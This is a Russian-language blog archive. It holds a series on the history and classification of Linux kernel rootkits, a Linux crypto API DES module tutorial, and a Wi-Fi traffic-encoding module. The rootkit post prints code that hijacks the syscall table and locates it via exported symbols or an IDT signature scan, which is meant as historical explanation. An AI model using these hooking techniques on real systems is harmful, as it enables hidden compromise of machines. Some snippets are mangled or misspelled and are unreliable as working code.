Showing posts with label article. Show all posts
Showing posts with label article. Show all posts

Sunday, June 28, 2009

Rootkit Часть 2 Продолжение истории

Итак в прошлой статье мы начали исследование темы руткитов в операционной системе линукс и немного поговорили о истории. В этой статье мы поговорим о первых руткитах работающих в пространстве ядра.

Итак еще немного о классификации ]:-> Мы решили выделить 3 поколения руткитов, по версиям ядра на которых они работали.

Первое поколение руткитов.

Скорее всего такой тип руткитов встречался читателю не раз. Но потратим еще чуть чуть времени на анализ их поведения.
Данный вид руткитов существовал для ядра версии 2.4.х. И действие данных руткитов основано на том что адреса ключевых структур ядра могли быть свободно импортированы в код любого подгружаемого модуля. В том числе и адрес табилцы системных вызовов (о механизме работы системных вызовов и почему они являются столь желанной добчей для руткитов мы рассказывали в одной из заметок).
export syscall_table;

После этого к таблице системных вызовов можно обращатся как к обычному массиву. Это легко увидеть на примере руткита adora-42 (полный исходный код можно скачать здесь):


extern void *sys_call_table[];

int (*o_getdents)(unsigned int, struct dirent *, unsigned int);

int (*o_kill)(int, int);
int (*o_write)(unsigned int, char *, size_t);
int (*o_fork)(struct pt_regs);
int (*o_clone)(struct pt_regs);
int (*o_close)(unsigned int);
int (*o_symlink)(const char *, const char*);
long (*o_mkdir)(const char *, int);
int (*o_stat)(char *, struct stat *);
int (*o_lstat)(char *, struct stat *);
int (*o_open)(char *, int, int);
int (*o_oldstat)(char *, struct __old_kernel_stat *);
int (*o_oldlstat)(char *, struct __old_kernel_stat *);

#ifdef __NR_stat64
int (*o_stat64)(char *, struct stat64 *, long);
#endif
#ifdef __NR_lstat64
int (*o_lstat64)(char *, struct stat64 *, long);
#endif

<...>

#define REPLACE(x) o_##x = sys_call_table[__NR_##x];\
sys_call_table[__NR_##x] = n_##x

REPLACE(write);
REPLACE(getdents);
REPLACE(kill);
REPLACE(fork);
REPLACE(clone);
REPLACE(close);
REPLACE(open);
REPLACE(stat);
REPLACE(lstat);
REPLACE(oldstat);
REPLACE(oldlstat);

#ifdef __NR_stat64
REPLACE(stat64);
#endif
#ifdef __NR_lstat64
REPLACE(lstat64);
#endif

REPLACE(mkdir);

#ifdef __NR_getdents64
REPLACE(getdents64);
#endif
Стоит отметить что на этой серии ядра работает и такой популярнй дистрибутив как Red Hat, а также большинство встраиваемых линуксов (роутеры, точки доступа, маршрутизатор и кофеварки). Однако не стоит думать что все они уязвимы и что наступит конец света как только это тайное знание просачится в интернет (люди в костюмах это специально для вас). Разработчики Red Hat едять свой хлеб не даром, и эти ядра куда более безопасны чем самые последние серии 2.6.х.

Второе поколение.

Нельзя сказать что коренные изменения произощедщие в ядре между версиями 2.4 и 2.6 были вызваны исключиельно вопросами безопасности. Однако мы поговорим о том что касается непосредственно руткитов. А в мире руткитов произошло падение гигантского метеорита, ледниковый период и глобальное потепление одновременно.
То есть был закрыт экспорт всех ключевых структур ядра. Следствием чего и явилось вымирание простых как две копейки руткитов первого поколения. На смену им пришли хищники иного рода.
Это поколение ориенировано на добывание табицы системных вызовов из неключевых структур ядра, остававшимися экспортируемыми. Только проблема в том что все эти структуры и объекты переставали быть экспртируемыми от версии к версии.
Мелкие, но проворные, идельно приспособленные к своей среде обитания они появлялись и исчезали вместе со средой.
Одним из наиболее характерных представителей данных руткитов является ITX (можно найти на античате либо в архиве здесь).
Он экспортировал из ядра адрес системного вызова sys_close() и ключевой структуры init_mm. Из init_mm извлекался адрес начала секции данных ядра, с которого начинался поиск участка памяти содержащий адрес системного вызова. Так как индексы системных вызовов в таблице известны заранее, то вычисление адреса начала таблицы системных вызовов не представляло сложностей. Далее стратегия внедрения руткита не отличалась от предыдущих версий.

unsigned long *find_sc(void){
int i;
unsigned long *ptr;
unsigned long arr[4];

// импорт адрес открытого системного вызова
extern int sys_close(int fd);

// определение адреса окончания секции кода
ptr=(unsigned long *)((init_mm.end_code + 4) & 0xfffffffc);

// поиск в оставшихся секциях указатель на системный вызов
while((unsigned long)ptr < (unsigned long)init_mm.end_data){
if (*ptr == (unsigned long)((unsigned long *)sys_close)){
for(i=0;i<4;i++){>> 16) &0x0000ffff;
}

if(arr[0] != arr[2] || arr[1] != arr[3]) {
sys_call_table = (ptr - __NR_close); break;
}

ptr++;
}

// возвращение указателя на системный вызов
if(sys_call_table)
return sys_call_table;
return NULL;
}
Но к версии 2.6.25 использовать оставшиеся экспортируемые структуры стало совершенно неинтересно. Сложно сказать что случилось первым: умер ли последний представитель второго поколения или появился на свет руткит нового поколения, однако факт остается фактом и на свет появляется третье поколение руткитов.

Третье поколение руткитов.

Подросло новое поколение, которое пошло принципиально другим путем - увеличения лобных долей и освобождения рук для орудий труда массового поражения.
Впервые данная технология была описана в статье Devik, Sd. «Linux on-the-fly kernel patching without LKM» 58 номера электронного журнала phrack.Основной принцип этой технологии состоит в том, что адрес таблицы системных вызовов содержится в функции system_call (см. заметку о работе механизма системных вызовов). Внутри неё осуществляется переход на нужный системный вызов путем выполнения машинной инструкции call eax*4+XXXXXXXX, где XXXXXXXX адрес таблицы системных вызовов. Данная команда может быть вычислена по сигнатуре ff 14 85 XX XX XX XX, вероятность повторения данной сигнатуры внутри функции стремится к нулю. Адрес функции system_call содержится в IDT (Interruption Description Table) по смещению 0x80.

// функция возвращает указатель на таблицу IDT

static int __get_int_handler(int offset)
{
int idt_entry = 0;
/* off2 << 16 | off1 */
__asm__ __volatile__ ( "xorl %%ebx,%%ebx \n\t"
"pushl %%ebx \n\t"
"pushl %%ebx \n\t"
"sidt (%%esp) \n\t"
"movl 2(%%esp),%%ebx \n\t"
"movl %1,%%ecx \n\t"
"leal (%%ebx, %%ecx, 8),%%esi \n\t"
"xorl %%eax,%%eax \n\t"
"movw 6(%%esi),%%ax \n\t"
"roll $0x10,%%eax \n\t"
"movw (%%esi),%%ax \n\t"
"popl %%ebx \n\t"
"popl %%ebx \n\t"
: "=a" (idt_entry)
: "r" (offset)
: "ebx", "esi" );

return idt_entry;
}

//Достаем адресс таблицы системных вызовов
#define RETURN_SYSCALL_TABLE 0
#define RETURN_SYSCALL_CALL 1

static unsigned int __get_syscall_table(int idt_entry, int mode)
{
unsigned char *p = (unsigned char *)idt_entry;
unsigned int table;

while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
{
p ++;
}

table = *(unsigned int *)(p+3);

if (mode == RETURN_SYSCALL_TABLE)
return table;

if (mode == RETURN_SYSCALL_CALL)
return (unsigned int)p;

return 0;
}

После чего можно использовать стандартный механизм внедрения в системные вызовы.

Из всего вышеописанного можно сделать вывод, что все три технологии сводятся к поиску таблицы системных вызовов и замене адресов определенных вызовов своими, или внедрению непосредственно в код системного вызова. Но, начиная с версии 2.6.16, разработчики ядра ввели специальный механизм, который располагает все критически важные объекты ядра, в областях памяти защищенных от записи. Этот механизм можно инициализировать включив опцию CONFIG_DEBUG_RODATA при сборке ядра.

Но и на этом история не закончилась. Мы еще не рассказали о появлении Rotkitus Sapies, ведь с их приходом и начинается все самое интересное. Однако статья и так получилась достаточно большой поэтому продолжим в следующий раз.

Tuesday, May 19, 2009

Rootkit (часть первая): История и классификация

Эта статья открывает цикл, который мы хотим посвятить руткит технологиям в линукс. Цикл будет состоять из 5 статей. В первой статье мы немного обратимся к истории и расскажем о появлении и развитии руткитов. Во второй и третьей статьях мы подробно рассмотрим одни из самых опасных и нашумевших представителях этого вида DR - рутките и Adora-ng. В четвертой и пятой статье мы расскажем о некоторых собственных иследованиях.

Начало.

Итак обратимся к истории. Сам по себе руткит не является вредоносной программой. Само слово руткит происходит от слияния двух слов root (привилигированный пользователь в линукс) и toolkit (набор инструментов). Изначально руткиты использовались системным администратором для скрытия некоторых конфигов от пользователя и предоставления защищеного удаленого доступа к машине. Точно так же руткиты используются и теперь скрывая следы своей деятельности уже не только от простых пользователей но и от администраторов.
Степень угрозы.

Как видно из диаграммы взятой из отчета IBM доля руткитов среди прочего вредоносного кода очень мала. Это связано с тем что руткиты в основном используются в качестве вспомогательных средств скрытия для вредоносного или шпионского кода (за это их часто называют шапками невидимками). Еще одним фактором из-за которого процент так невелик, является то, что вредоносное ПО даже обладающее функциональностью руткита, классифицируется по его основному поведению (и антивирус говорит что это например всего лишь троян). Так же написание руткитов требует достаточно большой квалификации, и лишь немногие вредоносные программы обладают таким уровнем сложности.

Виды руткитов.

Разобраться серьезно в какой либо теме без систематизации и классификации невозможно. Поэтому нами была сделана попытка классифицировать руткиты по типу их поведения. Так как по классификациям большинства антивирусных компаний руткит является самой малой классификационной единицей, то отдельной классификации на них нет и мы решили предложить свою. =)
Всего существует 4 вида руткитов:
  1. Руткиты пространства ядра;
  2. Руткиты пространства пользователя;
  3. Аппаратные руткиты;
  4. Загрузочные руткиты.
Руткиты пространства пользователя подменяют или модивицируют основные системные утилиты.

Примером руткита подменяющего основные системные утилиты может служить руткит SHV о которым мы писали в одной из заметок.

Руткиты модифицирующие основные системные утилиты являются более сложными по своей реализации. Оба этих типа руткита страдают от одних и тех же недостатков:
  • Все подобные руткиты легко обнаруживаются контролем целостности приложений. Любой мало мальски уважающий себя антивирус мгновенно обнаружит это.
  • По самой своей архитектуре ниодин подобный руткит не имеет средств защиты от обнаружения.
  • В линукс одну и туже операцию можно выполнить многими способами. То есть наверняка останется какая нибудь не модифицированная утили с помошью которой можно будет обнаружить скрываемые файлы и процессы.
Так же специфичным для модифицирующих руткитов является такой недостаток как достаточно большая вероятность привести в неработоспособность модифицируемые утилиты, что сразу же обнаружит факт проникновения в систему.
Между двумя основными видами руткитов стоят достаточно распространенные руткиты которые представляют из себя программу пространства пользователя, но модифицирующую виртуальный образ ядра. Примером такого руткита может послужить Mood-NT о котором мы также рассказывали в одной из заметок.

Продолжение следует.

Итак статья начинает разрастаться до удручающих размеров. А так как руткиты пространства ядра тема еще более обшиная то продолжим ее в другой раз.

Sunday, February 1, 2009

Автостопом по крипто апи.



Пребью
Криптографии в разработке системных и не только приложениях принято уделять повышенное внимание. Особенно сейчас, когда набитость сундуков многих благородных сэров, как и степень их свободы, напрямую зависит от степени конфеденциальости их информации. Чтобы секономить время и не ходить лишний раз к проктологу восьпользуемся тем что, большинство стойких и эффективных алгоритмов уже реализованно професионалами этого дела. Плод их трудов открыто предоставляется на комерческой и бесплатной основе. Разработчики операционных систем тоже не сидят сложа руки предоставляя разработчикам специальные API. В этой статье мы хотим рассказать об исползования таких API в модуле ядра для операционной системы Linux, котороый будет шифровать исходящий трафик и расшифровывать входящий.

Летс гоу.
А начнем пожалуй с подготовки системы. Для начала надо убедится что система готова к созданию разного рода приложений, а конкретно к разработке модулей ядра. Помимо присутсвия GCC надо еще убедиться что ядро было скомпилированно с поддержкой модульности и криптографических API. Про установку GCC и включение модульности написано много мануалов поэтому не будем тратить ни времени ни чернил, в информации по созданию модулей недостатка тоже не чувствуется, так что приступим сразу к делу. Крипто API включаются выставлением параметров CONFIG_CRYPTO* в конфигурационном файде ядра (/usr/src/.config). А самый легкий способ проверки их доступности это попытаться скомпилировать пример который находится все в техже исходниках ядра. Заходим в папку с иходниками ядра, дальше как наверное не трудно догадаться в дирректорию crypto и компилируем tcrypt.c. Если он компелируется без фатальных ошибок и даже работает, то собираемся с духом и идем дальше.

Вот из ит.
Теперь надо немного разобраться чтоже всетаки мы подключили и где это найти. Исходники этого всего дела лежат в тойже директории что и упомянутый выше tcrypt.c, а сам он является примером в котором показано как использовать все реализованные в Cryptographic API алгоритмы. Пример этот хорошо коментирован, а если что-то остается не совсем понятным то всегда можно заглянуть в лежащие рядом исходники самих Cryptographic API. Но как говорится сказать или даже написать проще чем сделать. На практике довольно часто можно свалиться в штопор в самых неожиданных местах, и потом довольно долго по частям собирать то что всего пять минут назад летело со скоростью звука. К сожалению ошибки всегда банальны, но постоянны, и каждый раз вспоминать как приклеивается один и тоже кусок становится утомительным. Сделать один раз инструкцию и современем её дополнять гораздо эффективнее и проще. Относительно наших API можно сказать тоже самое. Нормального мана на русском языке по ним нам найти не удалось, а повторно вкуривать одну и туже траву это не тру. Поэтому хотим оставить своего рода рабочие записки и надеемся что это еще комунибудь поможет.

Литл море
Предположим мы хотим реализвать немного устаревший но достаточно быстрый и провереный алгоритм DES. У этого алгоритма существует несколько режимов:

* ECB (Electronic Code Book) - режим все блоки шифруются независимо друг от друга и не сцепляются;
* CBC (Cipher Block Chaining)- режим в котором результат шифрования предыдущего блока используется для шифрации текущего.

Под блоками тут подразумевается часть шифротекста. Так с виду один и тот же алгоритм может быть реализован в разных режимах. Если кому интересно, то в качестве домашнего задания можно еще самостоятельно покурить CFB и OFB.
Однако, мы отвлеклись от темы. Для своих целей выберем режим CBC как более надежный и приступим сделав наброски будующего кода.
Как это часто бывает начнем с написания и описания ключевых структур и переменных.

struct completion comp;
struct scatterlist sg[8];
struct crypto_ablkcipher *tfm;
struct ablkcipher_request *req;


Переменная comp служит для синхронизации выполнения между нашей функцией и непосредственно шифрованием. Суть этого станет ясна чуть ниже. А пока рассмотрим саму структуру. Она объявлена в include/linux/completion.h и содержит всего два поля:
struct completion {
unsigned int done;
wait_queue_head_t wait;
};

Первое это флаг выполнения, а второе указатель на очередь ожидающих задач.

Следующая переменная sg описана в include/linux/scatterlist.h. Это структура платформо зависимая, и на i386 платформе она определена следующим образом:
struct scatterlist {
struct page *page;
unsigned int offset;
dma_addr_t dma_address;
unsigned int length;
};

Заполнение полей этой структуры вполне можно поручить функции sg_init_one(). В этой функции определяется страница памяти, с которой "начинается" buf, и определяется смещение указателя buf относительно адреса начала страницы.
tfm и есть наша основная структура, в файле include/linux/crypto.h находится ее описание
struct crypto_ablkcipher {
struct crypto_tfm base;
};


Не очень информативно поэтому посмотрим чуть выше, где находится
struct crypto_tfm {
u32 crt_flags;
union {
struct ablkcipher_tfm ablkcipher;
struct aead_tfm aead;
struct blkcipher_tfm blkcipher;
struct cipher_tfm cipher;
struct hash_tfm hash;
struct compress_tfm compress;
} crt_u;
struct crypto_alg *__crt_alg;
void *__crt_ctx[] CRYPTO_MINALIGN_ATTR;
};

Уже что-то неправдали? первым полем идут флаги, о некоторых из них расскажем чуть ниже. Далее объединение более низкуровневых структур для разных типов криптографических задач, прямой доступ к которым использовался в предыдущих версиях. В crypto_alg содержится указатель на структуру. в которой есть все необходимое для корректной работы непосредственно алгоритма шифрования. А именно имя самого алгоритма, приоритет и т.д. /*про это можно подробнее отсюда http://diploma-thesis.siewior.net/html/diplomarbeitch4.html*/

Следующая переменная req содержит указатель на структуру запросов struct ablkcipher_request.
struct ablkcipher_request {
struct crypto_async_request base;
unsigned int nbytes;
void *info;

struct scatterlist *src;
struct scatterlist *dst;

void *__ctx[] CRYPTO_MINALIGN_ATTR;
};


С помошью этой прменной мы обращамся к страницам памяти где находится шифрованный и расшифрованый текст.

Когда мы разобрались с основными переменными можно приступать к написанию самого кода. Начнем с инициализации переменной comp с помощью функции init_completion().
init_completion(&comp);

Эта функция обнулят флаг done, и добвляет comp в голову очереди wait_queue_head_t, о которых рассказывалось выше. Подробнее о механизме работы этой структуры и о том для чего мы ее используем будет рассказано еще чуть ниже ;).

Теперь выделим память дла нашей оновной пременной.
tfm = crypto_alloc_ablckhipher ("cbc(des)", 0, CRYPO_TFM_REQ_WEAK_KEY);

В качестве первого параметра мы передаем имя алгоритма, второй параметр это тип шифрования (вспомните объединение crt_u в опиании структуры), третьим параметром мы передам флаги, переданный флаг означает что алгоритм должен принимать даже слабые ключи.

Далее выделям память для ablkcipher_request
req = ablkcipher_request_alloc (tfm, GFP_KERNEL);

С первым параметром думаю все понятно и так. Непосредственно память под структуру выделяется функцией kmalloc, которая в качестве параметра принимает флаг, говорящий о том как именно стоит выделять память. Флаг GFP_KERNEL (GFP - Get Free Page) резервирует блок памяти, выделяя страницы памяти по мере обращения к ним. Существует и другие флаги например:
GFP_ATOMIC выделяет требуемую память немедленно (при необходимости вытесняя другие страницы на диск);
GFP_BUFFER никогда не вытесняет другие страницы, и если запрошенная память недоступна, с выделением наступает облом.
Фактически приходится выбирать между GFP_ATOMIC и GFP_KERNEL. Обычно используют GFP_KERNEL, так как он ведет себя не столь агрессивно.

Потом установим ключ которым будем шифровать
ret = crypto_ablkcopher_sekey (tfm, key, strlen(key));

Эта функция возвращает 0 в случае успеха и код ошибки больший нуля в случа неудачи. К првому параметру думаю опять не возникает никаких вопросов, да и с остальными ничего сложного: второй - указатель на строку с ключем, третий - длина.

Теперь позаботимся о расположении текста который будем шифровать
sg_init_one (&sg[0], text, strlen(text));

Стоит отметить что текст должен быть кратен восьми, иначе при попытке зашифровать\дешифровать получите ошибку -21 (что означает «некорректные входные данные»). То как с этим боремся мы можно посмотреть в приложенном коде. Сама же функция просто заполняет страницы памяти текстом, который собираемся зашифровать или дешифровать :).

Подготовим запрос для шифрования/дешифрования сообщив ему с какими страницами и текстом какой длины предстоит работать
u8  iv = {0xff, 0xdc, 0xba, 0x98, 0x76, 0x54, 0x32, 0x10};
ablkcipher_request_set_crypt (req, sg, sg, strlen(text), iv);

Последним параметром передается инициализирующий вектор, который также необходим для шифрования и расшифрования и служит своего рода открытым ключем. Его можно вычислять каким либо образом от самого ключа, просить пользоватля вводить его или делать постоянным как в нашем случае для упрощения алгоритма.

Теперь приступаем непосредствнно к шифрованию/дешифрованию
ret = enc ? crypto_ablkcipher_encrypt (req) : crypto_ablkcipher_decrypt(req);

Сами функции и их параметр в пояснении думаю не нуждаются, если не понятно перечтайте еще раз внимательно о req. Ну с ret все совсем понятно скажите вы. А вот и нет :). Да ret в случае удачного выполнения действительно будет равна 0. Но вот остальные значения не всегда означают ошибку.

Теперь пришло время рассказать совсем подробно о роли переменной comp и этом механизме.
switch (ret){
case 0:
break;

case -EINPROGRESS: case -EBUSY:
printk ("\nwait\n");
ret = wait_for_completion_interruptible (&comp);
if (!ret) {
INIT_COMPLETION(comp);
break;
}

default:
printk ("failred err=%d", -ret);
goto out;
}

Вспомните описание структуры completion, непонятные слова которые мы говорили о флаге выполнения и очереди задач. Дело в том что криптоалгоритмы не так быстры как хотелось бы. Но как же так скажите вы как мы можем вернутся в вызвавщую функцию до того как завершилась вызываемая. Дело в том что авторы этой библиотеки очень хитрые люди и оптимизировали работу криптоалгоритмов в расчете на распаралеливание вашего алгоритма и с учетом что к шифруемым дешифруемым двнным будут обращатся другие алгоритмы. Поэтому и получилось так что мы можем вернутся в вызвавшую функцию до того как шифрование/дешифрование завершится. Для того чтобы избежать обращения к еще не зашифрованным/ не расшифрованым данным мы и используем структуру completion. Механизм работы этой структуры и функций с ним связанным идентичен механизму работы блокирующих семафоров. Когда работа криптоалгоритма будет завершена он выставит поле done в 1 и наша функция продолжит работу. Если вы знакомы с семафорами то вопросов не возникнет, если нет то настоятельно рекомендуем познакомится.

Далее можно для проверки распечатать зашифрованый/дешифрованный текст или делать с ним все что угодно.

Дуй ит нау
Сам модуль можно найти здесь. Код подробно прокоментирован и не должен вызывать затруднений. По сути он добалвляет свою фукцию (nethook) по обработке полученных и отправленных пакетов на определенное устройство, символьное имя которого задается параметром device_name. А за шифрование/дешифрование отвечает функция my_des, в ней пременено все о чем мы писали выше. Инструкция по сборке и установке лежит рядом. Дерзайте ;)

Sunday, April 13, 2008

Ядерный подход к безопасности Wi-Fi сетей


Введение.
В настоящее время тема безопасности в Wi-Fi сетях чрезвычайно популярна. В сети существует огромное количество статей посвященных тому как легко ломается WEP и тому как быть с WPA. Но практически нет статей посвященных тому как же все таки защитится от этого. Мы в этой статье постараемся поделится нашими исследованиями в этой области.
Замечание: тех кто не видит ничего страшного в том что ваш сосед скачает за ваш счет пару клипов, просим вспомнить о таких вещах как снифинг, рассылка спама от вашего имени, компрометация точки доступа, создание фиктивных DNS серверов и прочих веселостях.
Страшный сон вардрайвера

Представьте себе что вы начитались всех этих статей о безопасности. И вот вы выходите в поле вооруженные Kismet'ом, Aircrack'ом, Ettercap'ом и прочими могучими вещами. Вы находите свою жертву, сеть вашего соседа Васи Пупкина. Все идет по сценарию, вы получаете ключ и подключаетесь к сети. Пинг есть! Все отлично и замечательно... Только вот работать с этой сетью вы не можете, вообще никак... вы не можете выйти в интернет, хотя traceroute показывает весь путь. Вы не можете залезть на шару к Васе Пупкину хотя пинг есть, вы не можете перехватить ни одного пароля.
Вот и любой нормальный человек на вашем месте подумает "Что за фигня?.."
Что это была за фигня.
Реализовать весь этот кошмар не только возможно но и достаточно просто. Необходимо на все машины в сети поставить фильтр-драйвер aka stelth patch, который будет перехватывать пакеты на сетевом уровне, брать полезную нагрузку aka data этого пакета и преобразовывать ее по заданному вами алгоритму. Почему именно сетевой уровень? Дело в том что на этом уровне контрольная сумма считается только для заголовка, позволяя нам преобразовывать данные на свой вкус. (Конечно контрольная сумма считается через CRC32 который вполне возможно сломать. но мы думаем что это стает темой следующей статьи. Пока нам хватит и этого)
Реализация.
Здесь описывается создание специального модуля ядра для Unix - like ОС.
Почему для линукс? Ну во - первых потому что ядро основано на модульном принципе и с этими модулями довольно просто обращаться; во - вторых это открытые исходные коды которые помогли разобраться с взаимодействием системных сокетов с ядром; в третьих в никсах подобные действия не называются мерзким хаком и не преследуются уголовно.
Модуль ядра представляет собой специальным образом откомпилированную программу. На нее налагаются определенные ограничения подробнее о которых можно найти в сети.
То что у нас получилось можно скачать здесь. Алгоритм кодирования самый простой, но его естественно можно заменить. Для того чтобы настроить и запустить модуль необходимо в /etc/ip_hack.conf прописать имя своего беспроводного устйства и запустить /etc/init.d/ip_hack. Вот и все настройки ;)
В качестве примечания наверно стоит сказать что модуль должен находится как на стороне рабочей станции так и на точке доступа. Практически на всех точках доступа в качастве операционной системы стоит *nix. И естественно так как в каждой системе рано или поздно найдется баг в каждой точке есть возможность смены системы (обычно ето делается перепрошивкой). Зная как перепрошить свою точку доступа и имея на неё прошивку вы можете самостоятельно внедрить в прошивку свой модуль и залить её на девайс.

P.S.
О том как перепрошить точку доступа постараемся рассказать в одной из будущих сатей.